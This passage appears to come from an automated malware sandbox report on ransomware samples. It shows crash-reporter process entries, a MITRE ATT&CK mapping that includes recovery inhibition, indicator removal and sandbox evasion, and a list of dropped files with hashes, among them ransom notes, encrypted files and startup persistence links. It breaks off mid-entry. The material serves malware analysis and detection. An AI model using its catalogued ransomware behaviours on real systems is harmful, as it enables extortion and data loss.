                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 968 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                            PID:13820
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 1008 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                              PID:13428
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 984 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                PID:11624
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 992 -p 3588 -ip 3588
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:12760

                                                                                                                                                                                                                                                                                                                                                                Network

                                                                                                                                                                                                                                                                                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                                                Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                Resource Development

                                                                                                                                                                                                                                                                                                                                                                Initial Access

                                                                                                                                                                                                                                                                                                                                                                Execution

                                                                                                                                                                                                                                                                                                                                                                Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1059

                                                                                                                                                                                                                                                                                                                                                                System Services

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1569

                                                                                                                                                                                                                                                                                                                                                                Service Execution

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1569.002

                                                                                                                                                                                                                                                                                                                                                                Windows Management Instrumentation

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1047

                                                                                                                                                                                                                                                                                                                                                                Persistence

                                                                                                                                                                                                                                                                                                                                                                Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1543

                                                                                                                                                                                                                                                                                                                                                                Windows Service

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1543.003

                                                                                                                                                                                                                                                                                                                                                                Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1543

                                                                                                                                                                                                                                                                                                                                                                Windows Service

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1543.003

                                                                                                                                                                                                                                                                                                                                                                Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                Direct Volume Access

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1006

                                                                                                                                                                                                                                                                                                                                                                Indicator Removal

                                                                                                                                                                                                                                                                                                                                                                3
                                                                                                                                                                                                                                                                                                                                                                T1070

                                                                                                                                                                                                                                                                                                                                                                File Deletion

                                                                                                                                                                                                                                                                                                                                                                3
                                                                                                                                                                                                                                                                                                                                                                T1070.004

                                                                                                                                                                                                                                                                                                                                                                Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                T1497

                                                                                                                                                                                                                                                                                                                                                                Credential Access

                                                                                                                                                                                                                                                                                                                                                                Discovery

                                                                                                                                                                                                                                                                                                                                                                Network Service Discovery

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1046

                                                                                                                                                                                                                                                                                                                                                                Peripheral Device Discovery

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1120

                                                                                                                                                                                                                                                                                                                                                                Process Discovery

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1057

                                                                                                                                                                                                                                                                                                                                                                Query Registry

                                                                                                                                                                                                                                                                                                                                                                5
                                                                                                                                                                                                                                                                                                                                                                T1012

                                                                                                                                                                                                                                                                                                                                                                System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                4
                                                                                                                                                                                                                                                                                                                                                                T1082

                                                                                                                                                                                                                                                                                                                                                                System Location Discovery

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1614

                                                                                                                                                                                                                                                                                                                                                                System Language Discovery

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1614.001

                                                                                                                                                                                                                                                                                                                                                                Virtualization/Sandbox Evasion

                                                                                                                                                                                                                                                                                                                                                                2
                                                                                                                                                                                                                                                                                                                                                                T1497

                                                                                                                                                                                                                                                                                                                                                                Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                Collection

                                                                                                                                                                                                                                                                                                                                                                Command and Control

                                                                                                                                                                                                                                                                                                                                                                Web Service

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1102

                                                                                                                                                                                                                                                                                                                                                                Exfiltration

                                                                                                                                                                                                                                                                                                                                                                Impact

                                                                                                                                                                                                                                                                                                                                                                Inhibit System Recovery

                                                                                                                                                                                                                                                                                                                                                                4
                                                                                                                                                                                                                                                                                                                                                                T1490

                                                                                                                                                                                                                                                                                                                                                                Service Stop

                                                                                                                                                                                                                                                                                                                                                                1
                                                                                                                                                                                                                                                                                                                                                                T1489

                                                                                                                                                                                                                                                                                                                                                                Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                Downloads

                                                                                                                                                                                                                                                                                                                                                                • C:\$Recycle.Bin\S-1-5-21-940901362-3608833189-1915618603-1000\desktop.ini.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  988KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  a085cc17fca8273e3434613e3651571e

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  0031e39e8e99259b3ade6a9888524caa3594f7ab

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  6891871836df330b3253b49058ca643945409fd327f827715fb7d1910c8eda31

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  cd8bfc5d14d17dd02494ba4996f92deeccaace62fda065f1c482e0a7f29e8a56c0302ddf5300e91c34986fa5d78bc2735ab6fb1ddab238cd9be678217b48d014

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\AUTORUN.INF
                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  d41d8cd98f00b204e9800998ecf8427e

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\AutoRun.exe.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  2.7MB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  02128304eb1b2fe2315bd849b4110836

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  f7a0760f661027ec5c98397e0118fad5ff883682

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  1ffcd42564c7b3830d3b9cdfc293fb0a5b159cbb5b1c8abf9ddf3ae9919b9463

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  a547e39f40d1a5c01678576a1d0f2dc5f86681780c54a9c2e0a286b92536d6e6c606a979beb672f058182ce155c28d6c4a3a76fe0390425fc7148385c42c7d78

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\PerfLogs\DECRYPT-FILES.txt
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  9KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  5f17c38b4bca8f47d3625bdb6570b9fb

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  6e9dffeb50ef1c26412c552dfa696f7e08bf4fa1

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  e5462b55275241d0e12cae14b0ce6aca7839fe6cff880522a9f380f652458bab

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  3c71e1c753b295e5a29a8480b11c51e3f6518e658240545efed3d75ccefb9c8049034e8e7a40d5e7ea2df62c0da8e05e5c16444c2cba27a3daa669d4cee0b83e

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Program Files\7-Zip\7z.dll.id-933A7906.[[email protected]].ROGER
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  2.5MB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  95ad447ff284b1c1577e413bfba388d2

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  d1481d1dd7b57b662d904f497575d1d73c0b26c3

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  16018e5565098b1c567321458735f7777cc53538761fe6755bc63c612118bd52

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  3dc0451e735abe969849d3dfa43dd2dbf0f7b0aace189a10ddc119a3298b207fdcb4d407912940f828401e8816229699a19871cb6872834ca07f65381484e08c

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\abkrlnduo\3346867842.txt
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  148B

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  c672c5ffd1a94b729484cc279d2a8a93

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  3e3ce8ad41d3ffe36d461a21ded8fead5d11e88b

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  087e2c68049f6d81393d62c9fbca232111ec9e0411f5cc9ab1e718475581eaea

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  969821c1ea8ae7b400e0e603326a3eb76ad22c21572a12b34e50f97f174f53456e937872c1a5980f7401d702c56c00ec0c5fa4d9cdc38b7d2c6200037f12aae3

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\abkrlnduo\fjchsuw.bat
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  589B

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  534a8234a86141271f834c349cbdc10c

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  73177fa6b796420e48929f92fd23325df6f481d4

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  27fb69d5c748d1fa2c24bb7566693da63411918757c3a472b2fa1347037f9e46

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  20e57ed1c048ada0744d5c9152c777130121e747246f3eeea9f6608b280e4e3a99cf2dd634cdb173df8544ad514e697637bb8bafc6545f2386ac5e42ef3db323

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\abkrlnduo\vhfjxusix.txt
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  962B

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  ac72f1df987019f25e31f605c0522daf

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  c1880e0bfa08b4258a7a659d2f2a2e77d7d65c6a

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  4aa6096dd391300ffaeac61e5cd15d2e2a59f76b26309a6d0763ba57ee56cc84

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  13bf55791b7e99f316e0024b2073b00a455791b8e7f28c56bd4ef84668dee964ee0b98024e393b5946a49c998e8f349c506faf6ebbcbea8991eb33f30dab3f07

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  64KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  d2fb266b97caff2086bf0fa74eddb6b2

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  2f0061ce9c51b5b4fbab76b37fc6a540be7f805d

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  c3ba95a538c1d266beb83334af755c34ce642a4178ab0f2e5f7822fd6821d3b68862a8b58f167a9294e6d913b08c1054a69b5d7aec2efdb3cf9796ed84de21a8

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  4B

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  f49655f856acb8884cc0ace29216f511

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  cb0f1f87ec0455ec349aaa950c600475ac7b7b6b

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  599e93d25b174524495ed29653052b3590133096404873318f05fd68f4c9a5c9a3b30574551141fbb73d7329d6be342699a17f3ae84554bab784776dfda2d5f8

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  944B

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  6bd369f7c74a28194c991ed1404da30f

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  0f8e3f8ab822c9374409fe399b6bfe5d68cbd643

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  8fc5f073dc9fa1e1ae47c60a5f06e0a48709fd6a4302dffaa721858409e7bde64bc6856d3fb28891090516d1a7afc542579de287778b5755eafe75cc67d45d93

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  53KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  a26df49623eff12a70a93f649776dab7

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  efb53bd0df3ac34bd119adf8788127ad57e53803

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\89E7.tmp
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  840KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  24d8efd88c5a82e08faff5a19eaa0b16

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  2c31dc8204f2d8e04e0fbefa8da0fd7bad7475ed

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  7fb1b5c00becda925bf1f2159527a2fa3485f907a1cd9de0d591e3f4dd66a838

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  62ca9358cdf491383d4f330fff43fe3836e860a7066bfbcfe4a877641c60030923fe695c475a13d470177c8d068fb5da17bc01e1e10867cab84a71e3658f468d

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zezj1m2s.tuo.ps1
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  60B

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Speech\Files\UserLexicons\SP_09DEBA779F6D4BDFB100196D8791431E.dat
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  940B

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  6bc62295f2b9e906925db58066a61c15

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  4296c403c4f4b3d32bd6ea65279923490127e210

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  f852cec8da5754a4e437418e6a6daedc1ec7dcf6e2d2c4bd02f0eb01c84bdbbd

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  7dbe89801db2fb3b222d9487e0e2e8dee7aebd1b14af0f5fdc0f629877d41d89ec8bb7d131e566aac9df7c0c1d78769cb94da1233a78067d17cb7213a8bceddf

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Soft.lnk
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  1KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  a96649b68aa20820e824f34184dc2480

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  8328876fe55703f53b5376b8536bce472c3a4987

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  6e28c1d271caad5708066f9210d34f1b7daafb5b7b986a8c60b91b5ef5b78806

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  93be3981f463cbedff48773e40cd7f7231a85d8a5f63fe37b2da714c65ba7c39b1042349860e3dca62676d43546532530217fe48e376d7632deb1ccc4ebbe9e6

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Soft.lnk
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  1KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  c0ea78c9e89c7229e904597d26ca782b

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  c0bb0b1f424876cfc29c997598b4ad76d5fd25e4

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  7ec668f283e4bd5024fa0610ae94710cbe25095663d55dc2c7757e85f16be376

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  fea26b8b2bcf2ba8dd3f377913da65d4f2aac96e06e6bc9dbf2c4de46419ba48ee8b1f24ea993f2484c57b37fd988f78c154912881b716206d20947fd103e3a0

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Soft.lnk
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  1KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  44b236f13c044262a8c66ef4b387e798

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  032496a17200547f5e7147d5de6682bd4f9ec36e

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  16236a2338a0bfc3b136536629337b7f134e86db5b25b1b4af9e0e7e146608f2

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  d91484972acb53c02fc1324d6bd156553989c8f4c2dc21ede29228ec5691fa387f2e0b2d9676e45357917b519723cc06ee61f23cb13b9fa127738feea1e37501

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Soft.lnk
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  1KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  e5938a0f95b401daeab028e4ec5e7263

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  d1ddd60d39111b7fc2cfd4f3ea187d00445653c8

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  fcc30390ab781197463dc004e33d495dbbac1f946baaf1c9312164fdd0de96f1

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  4b9b64b9838bcfac70e2ca73a6d37df3c376ba52db57fe3f43e646798654ac332f33004845fb388459f014d4279f92f39e1f1386e2f63646d0ab4ece5925a4c9

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.MSIL.Crypmod.gen-3211ffd5385a22a9011a8f835eced87e84cec70258067681d8af11b337e58232.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  599KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  4b2a73798786aa1de9f275b4cd57dff8

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  e321aa5647c04e72608502c996acabb1391e3ea3

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  3211ffd5385a22a9011a8f835eced87e84cec70258067681d8af11b337e58232

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  506b6ef333b0a5f21ca1939c70757aa563719a7786e8a49fcc7812cc01dd8474bb52d4e2255bc674f892d83609cf8913c13d824b96b7bdfe029b08d0e1bd96a5

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.MSIL.Crypren.gen-15856152e8961ae0ff0861f935cc21b930c9f1b1f5327e3d6d99dbe6902dee51.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  1.5MB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  0cbac409ea04d8866c7640e0b7e1dea7

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  329efe92c0f45eaed2332e7e1dec19aaddc18bd7

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  15856152e8961ae0ff0861f935cc21b930c9f1b1f5327e3d6d99dbe6902dee51

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  52472aef51d29d943bf9893a37e989cf2a1f6204adcc7eafc6698c5823481cd992ee236bdc4f0f0bc25909580235fb6219ac7c7d94fc369477358f587fd8b3db

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.MSIL.Encoder.gen-a33dab6d7adb83691bd14c88d7ef47fa0e5417fec691c874e5dd3918f7629215.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  197KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

                                                                                                                                                                                                                                                                                                                                                                  1acfdefd7d823688159e6369f5f32ec4

                                                                                                                                                                                                                                                                                                                                                                  SHA1

                                                                                                                                                                                                                                                                                                                                                                  12431515b0bed686a64f27f536644c0d7b8415a8

                                                                                                                                                                                                                                                                                                                                                                  SHA256

                                                                                                                                                                                                                                                                                                                                                                  a33dab6d7adb83691bd14c88d7ef47fa0e5417fec691c874e5dd3918f7629215

                                                                                                                                                                                                                                                                                                                                                                  SHA512

                                                                                                                                                                                                                                                                                                                                                                  58fdde7a44db2f789bc28beae582c49a3708b5df5f147f2f3ceebf0ae1e6003ebf68738af3d1708bfd59dc23c7e4938cb1b0495b91a8b8910b96a9db250bb3d1

                                                                                                                                                                                                                                                                                                                                                                  Download Submit

                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\Desktop\00380\HEUR-Trojan-Ransom.Win32.Blocker.gen-7ef5d52f3932900ab7df61a8f7406965279af4a0865ec28c333b75d65b8793cb.exe
                                                                                                                                                                                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                                                                                                                                                                                  654KB

                                                                                                                                                                                                                                                                                                                                                                  MD5

